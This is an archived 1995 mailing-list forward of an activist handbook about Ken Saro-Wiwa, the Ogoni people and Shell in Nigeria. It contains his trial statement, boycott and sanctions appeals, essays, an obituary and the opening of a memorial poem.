> a melee at a political rally. He was held in leg irons, and denied
> access to his family, doctors and legal counsel for eight months
> before being charged with murder. The charge was so baseless and
> devoid of concrete evidence that Amnesty International declared
> Saro Wiwa a Prisoner of Conscience. Even the government itself did
> not trust its own case enough to produce the predetermined result
> it wants--the elimination of vocal Ogoni leaders like Saro Wiwa--in
> the normal law courts that it created instead a military-dominated
> Special Tribunal to hear the case, though this was a civil offense.
> Such tribunals are answerable ONLY to the military government and
> there is NO right of appeal. It should be noted that the Nigerian
> military generally considers what goes on in civil courts to be
> "too much English" and a "waste of time." The defense team was
> frustrated at every step of the way by the Special Tribunal. The
> tribunal rejected defense evidence of the bribing of two key
> prosecution witnesses testifying against Saro Wiwa. The charade
> was so obvious that the defense resigned from the proceedings,
> feeling, as everyone felt, that the tribunal was predetermined to
> find the defendants guilty. Saro Wiwa and eight others--Dr.
> Barinem Kiobel, Saturday Dobee, Paul Levura, Nordu Eawo, Felix
> Nuate, Daniel Gbokoo, John Kpuinen and Baribor Bera--were found
> guilty and sentenced to death on October 31, 1995. Despite
> international appeals for clemency, they were hanged on November
> 10, 1995. Saro Wiwa won the 1995 Goldman Environmental Prize for
> Africa, awarded by a San Francisco-based foundation.
>
> SARO-WIWA'S CLOSING STATEMENT TO THE NIGERIAN MILITARY
> APPOINTED SPECIAL TRIBUNAL
> Port Harcourt, Rivers State, Nigeria
>
> My lord,
>
> We all stand before history. I am a man of peace, of ideas.
> Appalled by the denigrating poverty of my people who live on a
> richly endowed land, distressed by their political marginalization
> and economic strangulation, angered by the devastation of their

> land, their ultimate heritage, anxious to preserve their right to
> life and to a decent living, and determined to usher to this
> country as a whole a fair and just democratic system which
> protects everyone and every ethnic group and gives us all a valid
> claim to human civilization, I have devoted my intellectual and
> material resources, my very life, to a cause in which I have total
> belief and from which I cannot be blackmailed or intimidated. I
> have no doubt at all about the ultimate success of my cause, no
> matter the trials and tribulations which I and those who believe
> with me may encounter on our journey. Nor imprisonment nor death
> can stop our ultimate victory.
> I repeat that we all stand before history. I and my colleagues
> are not the only ones on trial.
> Shell is here on trial and it is as well that it is
> represented by counsel said to be holding a watching brief. The
> Company has, indeed, ducked this particular trial, but its day will
> surely come and the lessons learnt here may prove useful to it for
> there is no doubt in my mind that the ecological war that the
> Company has waged in the Delta will be called to question sooner
> than later and the crimes of that war be duly punished. The crime
> of the Company's dirty wars against the Ogoni people will also be
> punished.
> On trial also is the Nigerian nation, its present rulers and
> those who assist them. Any nation which can do to the weak and
> disadvantaged what the Nigerian nation has done to the Ogoni, loses
> a claim to independence and to freedom from outside influence. I am
> not one of those who shy away from protesting injustice and
> oppression, arguing that they are expected in a military regime.
> The military do not act alone. They are supported by a gaggle of
> politicians, lawyers, judges, academics and businessmen, all of
> them hiding under the claim that they are only doing their duty,
> men and women too afraid to wash their pants of urine. We all stand
> on trial, my lord, for by our actions we have denigrated our
> Country and jeopardized the future of our children. As we subscribe
> to the sub-normal and accept double standards, as we lie and cheat
> openly, as we protect injustice and oppression, we empty our
> classrooms, denigrate our hospitals, fill our stomachs with hunger
> and elect to make ourselves the slaves of those who ascribe to
> higher standards, pursue the truth, and honor justice, freedom, and
> hard work. I predict that the scene here will be played and
> replayed by generations yet unborn. Some have already cast
> themselves in the role of villains, some are tragic victims, some

> still have a chance to redeem themselves. The choice is for each
> individual.
> I predict that the denouement of the riddle of the Niger delta
> will soon come. The agenda is being set at this trial. Whether the
> peaceful ways I have favored will prevail depends on what the
> oppressor decides, what signals it sends out to the waiting public.
> In my innocence of the false charges I face Here, in my utter
> conviction, I call upon the Ogoni people, the peoples of the Niger
> delta, and the oppressed ethnic minorities of Nigeria to stand up
> now and fight fearlessly and peacefully for their rights. History
> is on their side. God is on their side. For the Holy Quran
> says in Sura 42, verse 41: "All those that fight when oppressed
> incur no guilt, but Allah shall punish the oppressor." Come the
> day.
>
> THE DIFFERENCE YOU CAN MAKE
>
> Shell must know that it can't make profit out of the blood of
> the Ken Saro Wiwa and the Ogoni. Abacha must know that tyranny is
> universally unacceptable. The only way that this will happen is
> broad, strong action by all the people of the world. We call on
> all people who love freedom and justice to:
>
> * Lobby your leaders to intervene on the behalf of MOSOP and
> the Nigerian people. Strong international action is necessary, not
> just talk. Demand for full sanctions. Demand for a freeze on the
> personal assets abroard of Nigerian military and government
> officials. Here are useful addresses:
>
> ---President Bill Clinton, The White House, 1600 Pennsylvania
> Ave., NW, Washington, DC 20500.
> Tel.: [redacted], Fax: [redacted]
> Email: [redacted]
> [redacted]
> [redacted]
>
> ---Your Senators, US Senate, Washington, DC 20510
>
> * Boycott all Shell products and inform Shell of your boycott.
> Remember, the joint venture operated by Shell in Nigeria is
> responsible for 70% of the Nigerian state's revenue - Shell is
> funding murder in Nigeria. Shell is the Nigerian military's enter

> of gravity. Call Shell Directly and ask them to scale back
> operations in Nigeria; also ask them to explain their decision to
> continue the $3 billion LNG project.
> Don't be deceived by Shell propaganda that sanctions would
> hurt ordinary Nigerians; tell Shell you heard that line before
> during sanctions against South Africa and that you are no fool.
> Nigerians say they want sanctions and are ready to bear it until
> the dawn of freedom. Tell Shell to keep its kindness, and ask it
> since when has it lost any sleep over the welfare of ordinary
> Nigerians. Shell recently said in a paid advertisement in British
> newspapers (11/19/95): "It's easy enough to sit in our comfortable
> homes in the West, calling for sanctions and boycotts against a
> developing country. But you have to be sure that knee-jerk
> reactions won't do more harm than good." Tell Shell it should be
> ashamed of itself for this absolute vulgarity and thinly disguised
> intimidation; tell Shell you weren't born yesterday to be so
> cheaply muscled into the corner of guilt for demanding sanctions.
> Tell Shell the title of its ad, "Clear Thinking in Troubled Times,"
> is really "Clear Thinking to Profit Enormously from Tragic Times."
> And finally, tell Shell to answer this question posed by Wole
> Soyinka, the Nigerian Nobel Laureate: "Has the revenue of Nigeria
> ever reached the people?" Soyinka continues, "There's no reason
> why a total, comprehensive trade embargo shouldn't be enforced now.
> Even (former South African President F.W.) De Klerk says sanctions
> were the greatest force that brought apartheid down."
> Here are useful Shell addresses:
>
> ---Shell USA: [redacted].
> ---P. J. Carroll, President, Shell Oil Company, Houston, Texas
> Fax: [redacted]
> ---Steven Ward, Vice President for Government Relations, Washington
> DC. Fax: [redacted]
> ---http://www.shellus.com/cgi-
> bin/page_feedback.cgi/OilProducts/abt-
> shl/wwwadmin:Shell_Web_Feedback
> ---Christopher Fay, Shell UK Ltd, Shell Mex House, The Strand,
> London W2CR ODX U.K.
> Phone: 44-0[redacted]; Fax: 44-0[redacted]
> ---C.A.J. Herkstroter, Chairman, Royal Dutch Shell, Carel van
> Builantlandtlaan 30, 2596 HR The Hague, The Netherlands.
> Fax (public affairs office in London): 44-0[redacted]
>

> Model Fax to Shell Oil Company (from AIUSA)
>
> Please either sign the model letter yourself or print it out to use
> as a petition signed by as many people as you can fit on the page
> and fax it.
>
>
> P. J. Carroll
> President, Shell Oil Company
> Houston Texas
> [redacted]
>
> Steven Ward
> Vice President for Government Relations
> Washington DC
> [redacted]
>
> I'm writing to express my shock, dismay and outrage at the
> execution in Nigeria of Ken Saro Wiwa, Dr. Barinem Kiobel and
> eight others on Nov. 10, 1995. This tragic killing of these
> peaceful environmental activists should never have happened. I
> expected Shell Oil to do all it could to stop the violations and
> save lives. I understand that the only public action Shell took
> to prevent this travesty was at the 11th hour in a letter
> requesting clemency. Shell Oil must now strongly and publicly
> condemn the Nigerian government for this brutal action.
> Despite Shell's contention that it had nothing to do with
> human rights violations in Ogoniland, the fact remains that Ken
> Saro Wiwa and his MOSOP organization were protesting environmental
> degradation due to Shell operations. In addition, the commander
> of the military unit that committed gross human rights violations
> in Ogoniland during May and August of 1994 boasted at a press
> conference that these actions were taken to protect Shell
> installations.
> Shell Oil has publicly expressed concern about the reaction in
> Nigeria to these executions. Shell can contribute to peaceful
> dialogue in Nigeria through visible, concrete actions to prevent
> future arrests, unfair trials, or executions of peaceful
> activists. In the effort to crush the Ogoni movement, homes were
> destroyed by the military in 30 villages. One concrete step Shell
> could take is to contribute to relief for those who were
> displaced and to reconstruction of destroyed homes.

> Shell should join world leaders, business leaders and
> concerned citizens around the world in an effort to gain the
> release of all prisoners of conscience in Nigeria and demand a
> return to rule of law and respect for international human rights in
> Nigeria.
> Sincerely,
> .....
>
>
> NIGERIAN OIL AND THE WEST: THE MORAL CHALLENGE
>
> Nigeria's crude oil is probably the purest in the world.
> Generally called "sweet crude" as opposed to "sour crude" from
> Saudi Arabia and other regions, Nigeria Light has only 0.2% sulfur.
> >From fractional distillation, you could get about 33% gasoline, 20%
> kerosene, 16% light gas oil, 30% heavy gas oils, leaving ONLY 1%
> bitumen residue. Compare these figures with, say, Boscan
> Venezuelan crude which has 6.4% sulfur, only 3% gasoline, 6%
> kerosene, 7% light gas oil, 26% heavy gas oils, and a whopping 58%
> bitumen residue. This then is why Nigeria's crude is the dream oil
> of the advanced industrial countries of Europe and America: its
> lightness makes for cheaper distillation. These countries already
> have extensive road networks, so they would rather not buy, if they
> could, crude oil with high bitumen residue.
> The quickest solution to the Nigerian crises, both the
> minority rights question and the larger issue of democratization,
> is an oil embargo. Nelson Mandela himself (an acknowledged moral
> voice on the continent), formerly lukewarm on the matter of oil
> sanctions, has finally embraced it as the solution to averting a
> Rwandan-scale tragedy in Nigeria. Europe and America are the main
> buyers of Nigeria's oil. Nigeria exports about 1.6 million barrels
> per day; about 44 percent of it goes to the United States and
> another five percent to Canada. Europe buys the rest. Although the
> international outrage against the Nigeria military dictatorship is
> currently so high that many Western leaders are already hinting at
> the possibility of oil sanctions, we must not be smug on the matter
> and expect that the leaders will actually impose sanctions without
> our relentless push. An oil embargo on Nigeria will certainly
> affect prices in the West, and politicians are not known to
> actively embrace actions that would put them on the spot with their
> vocal electorates. Not especially at a time when elections are
> near as they are in the U.S.A. at this moment. Here then is the

> moral challenge for us citizens and residents of Europe and
> America. We ought to let our leaders know that we support full oil
> sanctions against Nigeria as a way to quickly restore that country
> to democracy and the path of glory that its great potentials
> eminently qualify it for; that we are ready to pay a few cents more
> at the gas pumps than continue to fund the military junta's
> subversion of the rule of law, repression of the press,
> proscription of oppositional movements, massive embezzlement of
> public funds and the judicial murder, assassinations,
> indiscriminate arrests and interminable detention without trial, of
> democracy- and peace-loving Nigerians. We should let our leaders
> know that we will not fill our tanks with Ogoni blood.
>
>
> THE CHALLENGE OF NIGERIA: A CALL TO WORLD CONSCIENCE
>
> by the International Coalition Against Oppression in Nigeria and
> the Forum for Creativity Towards the 21st Century. Tokyo Japan.
> November 15, 1995.
>
> The latest outrage by the Nigerian military regime, in
> executing the writer and environmentalist, Ken Saro-Wiwa after a
> sham trial by hand-picked special tribunal, an execution that was
> hastily carried out in defiance of pleas by the international
> community, constitutes a fatal negation of civilized conduct and a
> denial of the fundamental human rights of accused persons. The
> Nigerian regime has flouted natural justice, the articles of the
> fundamental human rights of the United Nations, the Human Rights
> charter of the Organization of African Unity, and the Harare
> Commonwealth Declaration, to all of which the Nigerian government
> is a signatory.
> This act of judicial murder is of course only the most
> notorious and horrifing of a long catalogue of other violations-
> arbitrary imprisonments, torture, extra-judicial killings, denial
> of freedom of expression, not to mention the callous programme of
> "ethnic cleansing" of the Ogoni people, all documented in great
> detail by various Human Rights organizations in and outside of
> Nigeria. We wish to call attention especially to the latest of
> these, titled: NIGERIA- STOLEN BY GENERALS, the report by the
> Commonwealth Human Righhts Initiative, compiled after a
> fact-finding mission to Nigeria this year.
> It is clear that the present regime of Sani Abacha is resolved

> to stop at no act of terror and repression in order to perpetuate
> itself in power and thwart the rightful democratic aspirations of
> the Nigerian peoples, a choice that was clearly expressed in the
> elections of June 12, 1993. Those elections were acknowledged free
> and fair both by internal assessment and from international
> monitoring bodies, including the Commonwealth of Nations. The
> unjustifiable annulment of those elections constitute the root of
> Nigeria's current crisis. Not surprisingly, General Sani Abacha
> stubbornly keeps the winner of that election in prison, and under
> inhuman conditions, despite various decisions of the Nigerian
> courts that Bashorun Moshood M.K.O. Abiola, the President-Elect in
> question, should be set free.
> We therefore call upon the international community to assist
> the Nigerian people in the attainment of their democratic
> aspirations and in restoring their society to the rule of law by
> isolating the Nigerian dictatorship totally from the international
> community, and subjecting that regime to the same set of universal
> sanctions that were applied to bring down the racial minority
> regime of apartheid South Africa. We call for the immediate
> release of all detained persons, including the former Head of
> State, General Olusegun Obasanjo and others who were tried in
> secret on trumped-up charges and sentenced to brutal terms of
> imprisonment.
> Stability in that African sub-region can only be guaranteed by
> the quick restoration of democracy to this problematic, but
> crucially placed regional member, Nigeria. We call for the break
> of diplomatic, economic, sporting and cultural links with the
> illegal military regime of Nigeria. We call for a suspension of
> all ongoing economic projects in Nigeria, termination of all
> assistance programmes, and a ban on the sale of arms, military
> spare parts, and police equipment to Nigeria. WE CALL ESPECIALLY
> FOR AN EMBARGO ON NIGERIAN OIL WITH THE AIM OF STARVING THE
> REGIME OF FUNDS AND COMPELLING IT TO CEDE POWER TO THE DULY
> ELECTED DEMOCRATIC PRESIDENT. We call for an urgent debate in the
Security
> Council on the deteriorating state of human existence in Nigeria
> and a concrete plan of action that will be binding on its member
> states.
>
> Approved by full Plenary assembly of over 1,700 world dignitaries.
>
> Signatories include the following Nobel laureates:

> Michael Gorbachev, Kenzaburo Oe, Leo Esaki, Kenichi Fukui, Wole
> Soyinka, Desmond Tutu.
>
> KEN SARO WIWA, PREFACE TO *GENOCIDE IN NIGERIA: THE OGONI
> TRAGEDY* (Port Harcourt: Saros, 1992; 103 pp.)
>
> *Author's Note*
>
> Writing this book has been one of the most painful experi-
> ences of my life. Ordinarily, writing a book is torture, a chore.
> But when, on ever page, following upon every word, every letter,
> a tragedy leaps up before the eyes of a write, he or she cannot
> derive that pleasure, that fulfillment in which the creative
> process often terminates.
> What has probably worsened the matter is that I have lived
> through most of the period covered by this sordid story. I knew,
> as a child, that period from 1947 when the Ogoni saw, for a few
> brief years, the possibility of extricating themselves from the
> cruel fate which seems to have been ordained for them. I watched
> as they went into decline. I was privileged to play a role in the
> civil war which decimated them further and to assist in their
> rehabilitation at the end of that war.
> Since then I have watched helplessly as they have been
> gradually ground to dust by the combined effort of the multi-
> national oil company, Shell Petroleum Development Company, the
> murderous ethnic majority in Nigeria and the country's military
> dictatorships. Not the pleas, not the writing over the years have
> convinced the Nigerian elite that something special ought to be
> done to relieve the distress of the Ogoni.
> I have known and argued earnestly since I was a lad of
> seventeen that the only way the Ogoni can survive is for them to
> exercise their political and economic rights. But because the
> Nigerian elite appear, on this particular matter, to have hearts
> of stone and the brains of millipedes; because Shell is a multi-
> national company with the ability to crush whomever it wishes;
> because the petroleum resources of the Ogoni serve everyone's
> greed, all the doors seemed closed.
> Three recent events have encouraged me to now place the
> issue before the world: the end of the cold War, the increasing
> attention being paid to the global environment, and the insis-
> tence of the European Community that minority rights be respect-
> ed, albeit in the successor states to the Soviet Union and in

> Yugoslavia. What remains to be seen is whether Europe and America
> will apply in Nigeria the same standards which they have applied
> in Eastern Europe.
> For what has happened and is happening to the Ogoni is
> strictly not the fault of the Nigerian elite and Shell Company
> alone; the international community has played a very significant
> role in it. If the Americans did not purchase Nigerian oil, the
> Nigerian nation would not be, nor would the oppressive ethnic
> majority in the country have the wherewithal to pursue its
> genocidal intentions. Indeed, there is a sense in which the
> "Nigerian" oil which the Americans, Europeans and Japanese buy is
> stolen property: it has been seized from its owners by force of
> arms and has not been paid for. Therefore, these buyers are
> receiving stolen property. Also, it is Western investment and
> technology which keep the Nigerian oil industry and therefore the
> Nigerian nation alive, oil being 94 percent of Nigeria's Gross
> Domestic Product.
> Also, European and American shareholders in multi-national
> oil companies and manufacturers of oil mining equipment have
> benefitted from the purloining of Ogoni resources, the devasta-
> tion of the Ogoni environment and the genocide of the Ogoni
> people.
> Thus, shareholders in the multi-national oil companies --
> both Shell and Chevron -- which prospect for oil in Ogoni, the
> American, Japanese and European governments, and the multi-
> national oil companies have a moral if not legal responsibility
> for ending the genocide of the Ogoni people and the complete
> devastations of their environment, if, indeed, that is still
> possible.
> The requirement is enormous and urgent. The Ogoni people
> themselves including their children are determined to save
> whatever is left of their rich heritage. The international
> community can support this determination by championing the drive
> of the Ogoni for autonomy within Nigeria. The restoration of
> their rights, political, economic and environmental does not,
> cannot, hurt anyone. It will only place the responsibility for
> ending this dreadful situation where it should lie: on the Ogoni
> people themselves. The area being reich in resources and the
> people resourceful, the Ogoni will be able to sort out their
> problem in time.
> Secondly, the international community must prevail on Shell
> and Chevron which prospect for oil in Ogoni, and the Nigerian

> Government which abets them, to stop flaring gas in the area
> immediately.
> Thirdly, the international community can help by sending
> experts -- medical, environmental and agricultural -- to assist
> the Ogoni people restore a semblance of normality to Ogoni
> territory.
> In the early years of this century, a French writer, Andre
> Gide, toured the Congo and observed the gross abuse of human
> rights being perpetrated in that country by King Leopold II of
> Belgium and his agents. He wrote about it and Europeans were
> sufficiently shocked to end the abuses.
> I write now in the hope that the international community
> will, in similar fashion, do something to mitigate the Ogoni
> tragedy. It is bad enough that it is happening a few years into
> [before?] the twenty-first century. It will be a disgrace to
> humanity should it persist one day longer.
> I expect the ethnic majority of Nigeria to turn the heat of
> their well-known vindictiveness on me for writing this book. I
> defy them to do so.
> Some may wonder at my use of the word "genocide" to describe
> what has happened to the Ogoni people. The United Nations defines
> genocide as "the commission of acts with intent to destroy a
> national, ethnic, racial or religious group." If anyone, after
> reading this book, has any further doubt of, or has a better
> description for, the crime against the Ogoni people, I will be
> happy to know it.
> I wish to thank Barika Idamkue and Dr. Sonpie Kpone-Tonwe
> for kindly reading the manuscript and making valuable suggestions
> for improving the work; and my assistant, Hyacinth Wayi, for
> speedy word-processing.
> All errors in the book are mine and I accept full responsi-
> bility for them.
>
> Ken Saro-Wiwa
> Port Harcourt, 1992
>
> (END OF SECTION 1. PLEASE SEE SECTION TWO UNDER SEPARATE MAIL FILE)
>

==========

Pierre Joris | "Poems are sketches for existence."
Dept. of English | --Paul Celan
SUNY Albany |
Albany NY 12222 | "Revisionist plots
tel&fax:[redacted] | are everywhere and our pronouns haven't yet
email: | drawn up plans for the first coup."
[redacted]| --J.H. Prynne
==========

↑ Index

278. **Pierre Joris**

NIGERIA CASEFILE #2 (A KEN SARO WIWA-OGONI HANDBOOK) (fwd)

Tue 21 Nov 1995

& here's the final part of that file -- pierre

Forwarded message:
> From daemon Mon Nov 20 13:48:34 1995
> Resent-Message-Id: <[redacted]>
> Resent-From: Tejumola Olaniyan <[redacted]>
> Resent-Date: Mon, 20 Nov 95 13:28:32 EST
> Resent-To: [redacted]
> From: Tejumola Olaniyan <[redacted]>
> Date: Mon, 20 Nov 95 13:19:07 EST
> To: [redacted]
> Subject: NIGERIA CASEFILE #2 (A KEN SARO WIWA-OGONI HANDBOOK)
>
>
> NIGERIAN CASEFILE: THE KEN SARO WIWA-OGONI HANDBOOK
>
> compiled by the Coalition Against Dictatorship (CAD)
>
> SECTION TWO.
>
> CONTENTS:
>
> Ken Saro Wiwa, "The World Bank and Us"
> Chuks Iloegbunam, "The Death of a Writer"
> (an obituary by a Nigerian journalist)
> F. W. J. Mnthali, "Farewell, Ken Saro-Wiwa!"
> (a poetic memorial by the renowned Malawian poet)

> The Writings of Ken Saro Wiwa: A Bibliography
> Appendix 1: Action against the Nigerian junta and its backers:
> Harvard students take the lead
> Appendix 2: Wole Soyinka, "Why the General Killed"
>
>
> (PLEASE SEE SECTION 1 IN A SEPARATE MAIL FILE)
>
> SECTION 1. CONTENTS:
>
> The Ken Saro Wiwa Campaign
> Some History
> The Issue
> Saro Wiwa's Trial and Execution
> Saro Wiwa's Closing Statement at the Trial
> The Difference You Can Make
> Nigerian Oil and the West: The Moral Challenge
> The Challenge of Nigeria: A Call to World Conscience
> Ken Saro Wiwa, preface to *Genocide in Nigeria: the Ogoni
> Tragedy*
>
>
>
> KEN SARO WIWA, "THE WORLD BANK AND US"
>
> a column from the *Sunday Times* of Lagos; reprinted in *Similia:
> Essays on Anomic Nigeria* (Port Harcourt: Saros: 1991), a
> collection of columns published in 1989 and 1990. (Note: In this
> essay Ken uses "World Bank" and "IMF" interchange-
> ably.)
>
> Almost twenty years ago, touring the United States of
> America, I came to know several variations of my surname. In New
> York, I was called Sora-Wawo, in Los Angeles Sira-Wawa. But the
> limit was in Atlanta, in the presence of Mrs. Coretta King, where
> I was introduced as Saro-Wee-Wee. Uncomfortably close to the
> toilet, you might say.
> I was minded, that day, to change my name to something more
> heavenly like Wiwa or Saros. I refrained from doing so. In the
> interest of history. Today, I'm used to these and other varia-
> tions of my name.
> Thus I was only half-surprised when an invitation arrived at

> my Surulere office the other day, addressed to, you guessed it,
> Ken Sarohiwa. And it came from the Indian High Commission.
> It was an invitation to a party celebrating Indian National
> Day. I am not a party-going man. Invariably, I find myself, in
> the day, glued to my telephone or sitting in the front offices of
> the high and mighty in Nigeria pursuing you know what. At night,
> I'm in my study consulting dictionaries or the thesaurus and
> struggling endlessly with words in English or my native Khana. No
> one invites me to parties. Which is a blessing. So the half of my
> surprise was that the Indian High Commission had called me up.
> How on earth did they find out my address? I am supposed to be
> anonymous, in the name of all you love!
> Since I have never been to a diplomat's party, and I do not
> mind a new experience, I took my courage in my hands and wended
> my way to Eleke Crescent on Victoria Island.
> I suspected I would be lost at the part. I knew that my
> perpetual *adire* shirt would mark me out as a non-diplomat and
> that I did not have the polish to match a diplomat's shoes. I
> *was* lost. I held my soft drink (no alcohol was served) and the
> only diplomat I met almost sent me to my grave.
> No, he did not deal me a blow. He was a high official of the
> World Bank. These sapped times are hungry times, and a hungry man
> is an angry man. I never have met any representative of the
> International Monetary Fund anywhere and this was an opportunity
> for me to send a message to the Fund through one of its represen-
> tatives in Nigeria.
> As it turned out, I had nothing new to tell the representa-
> tive. He had been to all but two of the states of Nigeria, and
> most of it by road. He was aware of the distress caused by the
> Structural Adjustment Programme. The latest World Bank Report on
> the Africa Sub-region accepts as much. Forty years of the World
> Bank experiment in turning the economies of debtor-nations round
> has not resulted in success in a single country. Yet the Bank
> persists in its folly. Which makes you believe that their mission
> in debtor nations is not to heal but to rub salt into wounds. To
> collect debts and to send the nations into even greater debt so
> that the World Bank can remain in the nations forever.
> The gentleman in question kept reminding me that the IMF
> would not have been in Nigeria if Nigeria had not gone on a
> borrowing spree. I know and have always known it. But the ques-
> tion which confronts us all is what to do in the circumstances.
> Must we see all our children die of kwashiorkor? Must we see all

> those who survive the ravages of disease and famine grow up as
> zombies because they have no books to read, cannot afford good
> education, decent housing, transportation and water? Perhaps the
> only thing they can look forward to is a "befitting burial" which
> we perversely still give the dead? All of which sends me right
> back to the present administration which continues to sing of the
> "gains of SAP." It is all right for a government, any government,
> to put a policy in place and pursue its implementation with
> single-mindedness. Just to see if it works. However, any respect-
> able government must also have a fall-back position.
> I believe that all Nigerians, indeed, all black people, must
> work hard, think hard, practise thrift and show dedication to
> progress. But the question which Government and all of us must
> now tackle is the failure of World Bank "remedies" world-wide. A
> survey in Ghana recently showed that in spite of adherence to
> World Bank conditionalities, in spite of the fact that the Bank
> has enough statistics to show that the Ghanaian economy is
> improving, the fact stands that the average Ghanaian's earnings
> cannot feed him and his family, much less send his children to
> school or doctor them.
> The representative of the World Bank in Ghana is reported to
> have said recently that the mismanagement of the past in Ghana
> was so immense that recovery under the IMF's guidelines will be
> almost impossible.
> For Ghana, you may read Nigeria, Zambia, or wherever. Which,
> of course, means that the "gains of SAP" are likely to remain a
> chimera for all time.
> The World Bank itself has now accepted that some of its
> programmes are faulty. It also accepts that it pays its employees
> incredible salaries and allowances. but it then places the blame
> on the various governments: the governments are autocratic,
> corrupt and have not allowed the full development of the creative
> energies of their peoples. Maybe. This may mean that the World
> Bank and its Euro-American mentors will stop forcing incompetent
> rulers and brutes upon third and "enth" world societies in the
> belief that such men will brutalize their peoples and compel them
> to accept the bitter pill which the World Bank means to force
> down the nations' throats.
> But methinks the World Bank has to accept that its real
> instrument of torture is its insistence on growth, its economic
> theorizing at the expense of human welfare. In Nigeria, as
> elsewhere, its potent instrument is the exchange rate. The fixing

> of that rate is, as far as I can see it, a con; it is dubious and
> no one can convince me otherwise. And the sooner debtor-nations
> realized the political nature of the World Bank, the sooner they
> will be able to face the bogus economic theories of the Bank with
> an equivalent weapon--people's power. At no matter what cost.
>
>
> CHUKS ILOEGBUNAM, "THE DEATH OF A WRITER"
> (an obituary by a Nigerian journalist)
>
> It is a supreme irony that the death of Ken Saro-Wiwa, the Nigerian
> environmental activist, businessman and writer at the age of 54,
> should have come in such a grotesque manner: tried and condemned by
> a tribunal instead of an ordinary court of law, denied the right of
> appeal, and hanged. Nothing about his origins, nor indeed, the
> course of most of his life, indicated even remotely that things
> would come to this terrible pass.
>
> Saro-Wiwa was born in Bori, near Port Harcourt, capital of Rivers
> State in Nigeria. He was a brilliant student and government
> scholarships saw him through Government College, Umuahia, and the
> University of Ibadan - two famous institutions which some other
> notable Nigerian writers, including Chinua Achebe, had also
> attended.
>
> He taught briefly at the Universities of Ibadan and Nigeria (at
> Nsukka) before the outbreak of the Nigerian civil war in 1967.
> Stridently anti-Biafran (until his death he wrote the name with a
> lower case "b"), Saro-Wiwa pitched his camp with the Federal
> authorities. He was appointed the administrator of the oil port of
> Bonny, and in 1968 became one of the first cabinet members of the
> newly created Rivers State, where he alternately held the powerful
> portfolios of education and information. However, when he left the
> cabinet of Commander Alfred Dietee-Spiff, the military governor of
> Rivers State, in 1973, it was in acrimonious circumstances.
>
> Out of government, Saro-Wiwa turned to business, which he ran
> alongside his real love of writing. He made good on both scores. He
> could afford to send his son to Eton; and had to his credit more
> than 20 titles in all genres of literature. There are four novels,
> a poetry volume, two books of short stories, three titles on
> general topics, two drama volumes, one on folklore and nine

> children's books. And this output does not include the extensive
> pamphleteering on behalf of the Ogoni cause. His Tambari and
> Tambari In Dukana, both written for children, were published by
> Longman. All the others are published by his Saros International
> Publishers. Last year, Longman re-issued his Sazaboy: A Novel in
> Rotten English, which received an honourable mention at the Noma
> Award for Publishing in Africa. Only last month the same publishers
> re-issued A Forest Of Flowers, his first collection of short
> stories which was shortlisted for the Commonwealth Writers Prize in
> 1987.
>
> Saro-Wiwa was also at different times an engaging newspaper
> columnist for Punch, Vanguard and the Daily Times, all Lagos-based
> dailies. Whether in journalism or in creative writing, he exposed
> a nation "cracking up under the pressures of maladministration,
> corporate greed, sloth, ignorance and mercenary self-interest,
> while its people struggle against government neglect and abuse,
> racketeering, poverty, disease, superstition and ethnic mistrust to
> quote the apposite comment on the blurb accompanying A Forest Of
> Flowers.
>
> Sometime in 1991, Saro-Wiwa decided to abandon "everything" and
> devote himself to the Ogoni struggle, which until then he had
> combined with his other activities. He put his creative writing in
> abeyance, dutifully returning to their owners all the manuscripts
> his Saros International was to have published, and relinquished his
> position as president of the Association of Nigerian Authors which
> he held for three years.
>
> Towards the end of 1992 he was struck by tragedy when his son at
> Eton dropped dead during a game of rugby. Something inside
> Saro-Wiwa seemed to have died as a result. From then on he lived
> only for the Ogoni struggle.
>
> Before long he complained that the military authorities had turned
> a deaf ear to the demands of his people. In the circumstances, he
> said that the only option left was to attract the attention of the
> international community. In July 1992 he addressed the United
> Nations Working Group on Indigenous Population in Geneva and
> followed this up with a visit to the UN in New York. He bought cine
> equipment and cameras, and systematically began recording scenes of
> oil pollution and gas flaring in Ogoniland. Using the platform of

> Movement for the Survival of the Ogoni People (MOSOP), which he
> helped found, he sensitised his people to both the politics and
> economics of oil.
>
> Greenpeace and other environmental groups soon took up the Ogoni
> case and the picketing of Shell's office in London became
> commonplace. (In fact, Shell was chased out of Ogoniland in 1993.)
> Saro-Wiwa had become an acute embarrassment to oil companies
> operating in Nigeria and to his country's military rulers.
>
> During his last visit to London in May last year he complained that
> Shell had put a world-wide surveillance on his movements. He said
> it was obvious that the military regime in Nigeria was feeling the
> heat of the Ogoni struggle. "I am using even the Koran which says
> it is right to fight one's oppressors against them", he told me.
> "And they don't like it one bit," A mutual friend, a novelist,
> asked Saro-Wiwa if it was not possible for him to "go slow" on "the
> struggle". The man merely smiled and changed the topic.
>
> The last time I saw him was when the UK chapter of the Ogoni
> movement was launched at the Royal Park Hotel in London. Saro-Wiwa
> told me he would return to Nigeria the following week, but would be
> back in good time for the launch of Sozaboy by Longman. He never
> came back.
>
> Shortly after his return to Nigeria he was arrested and charged
> with multiple murder although it was established that he was not at
> the scene of the killings. But Justice Ibrahim Auta, the tribunal
> chairman, warned: "If an accused was not directly involved in a
> crime, he could still be convicted if he encouraged the act". And
> the tribunal is empowered to pronounce only capital punishment.
>
> So, the Nigerian state has killed Ken Saro-Wiwa. The man I knew,
> the one who was my friend for over a decade, believed in combat -
> the combat of the written and spoken word. If he opposed anything,
> he went to great lengths to leave nobody in doubt as to where he
> stood. Perhaps his eternal mistake was that he chose to rail at
> those who saw themselves in superhuman terms, people who would
> brook no opposition and who, in the peculiar setting of the
> Nigerian entity, had invariably coveted the power to decide who got
> dispatched and who did not.
>

> But he always insisted that the Ogoni would demand their rights
> peacefully. He showed impatience each time it was alleged that he
> was planning for the Ogoni to secede. "I am not a fool", he would
> declare. "The Ogoni are only 500,000. Nigeria is about 100 million.
> Secession is not a viable option and we are not into that."
> Somebody wanted to know the meaning of Saro-Wiwa's death. Simple.
> It means that nothing has changed.
>
> He is survived by his wife, Hauwa, his children, one of whom, Ken,
> has been the foremost campaigner for his father's freedom, and his
> father and mother, who are aged 91 and 75 years respectively.
>
>
> F W J MNTHALI, "FAREWELL, KEN SARO-WIWA!"
>
> a poetic memorial by the renowned Malawian poet
>
> Some papers here tell us
> you and your colleagues
> went to your death singing!
>
> Would that Africa as a whole
> boasted more men and women with
> your courage and your vision.
>
> But we are all caught up in a web of fear
> the fear that rules all killers
> that web of silence which is the bane of all our
> feelings
> the fear of our own shadows
> the fear of lizards lurking behind freedom's rays
> the fear of being thought weak
